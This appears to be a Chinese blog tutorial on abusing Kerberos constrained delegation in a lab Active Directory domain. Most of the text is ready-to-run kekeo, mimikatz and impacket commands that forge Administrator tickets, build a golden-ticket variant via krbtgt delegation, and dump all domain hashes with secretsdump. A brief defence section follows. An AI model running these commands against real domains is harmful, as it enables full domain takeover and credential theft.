约束委派+利用约束委派生成黄金票据

环境

域: test.com
域控:Windows server 2012R2, 主机名: AD, IP: 192.168.1.7
域内主机:系统:windows 2012R2,主机名:HyyMbb,ip:192.168.1.22
被委派用户test
测试用户test1

在这里插入图片描述

操作步骤

我们需要提前知道的信息
被委派用户的明文密码或者ntml

密码:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed

1、已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi

我们知道NTML也可以生成TGT

tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed

参数:

/user: 服务用户的用户名(即设置的被委派的用户)

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

在这里插入图片描述得到服务用户TGT:[email protected][email protected]


2、然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问AD(域控) CIFS的ST

tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com

在这里插入图片描述

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下


3、然后我们用mimikatz(kekeo也可以)将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi

成功访问到ADcifs服务

在这里插入图片描述

注:

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

在这里插入图片描述这样我们就能跳过第一步,直接进行二三步骤就可以了~~



利用约束委派打造变种黄金票据


环境

域: HYYMBB.com
域控:Windows server 2008R2, 主机名: AD, IP: 192.168.1.23
域内主机:系统:windows 2012R2,主机名:win2012,ip:192.168.1.22
被委派用户test
测试用户test1

这个实验我复现的时候在win2012的域控上未成功,据说是2012 及以后的KDC,受限委派的时候用的机制变成了 Resource Based Constrained Delegation

所以这个只能适用于win2008版本之前的(包括win2008)

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgthash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN

我们可以使用powershell来添加

Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }

在这里插入图片描述
这儿多说一句,有的同学发现一些用户属性没有委派的选项,那是因为这时的用户还不是服务账号,我们可以用系统的自带工具setspn来绑定spn

setspn -A test/test 用户名

更详细的用法请自行百度


注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

我们获得的test用户的信息

密码:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed

1、我们可以用impacket系列的getST向KDC请求administrator的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe

在这里插入图片描述参数:

-impersonate:表示伪造用户

-spn:表示我们要委派的服务的spn,这里是TGS

-dc-ip:域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache


2、注入ptc(pass the cache)

kerberos::ptc Administrator.ccache

在这里插入图片描述
在当前终端退出后就可以访问域控了

在这里插入图片描述

3、执行命令

执行命令的话我们可以用impacket系列或者powershell都可以
这儿我们使用impacket中的wmiexec.exe

set KRB5CCNAME=Administrator.ccache

wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23

在这里插入图片描述
导出域控上所有用户以及主机的hash

set KRB5CCNAME=Administrator.ccache

secretsdump.exe -no-pass -k AD.HYYMBB.com

防御


1、高权限用户没有在特殊要求之下设置为不可委派

在这里插入图片描述

为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016Windows Server 2012 R2Windows Server 2012

在这里插入图片描述

参考链接

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章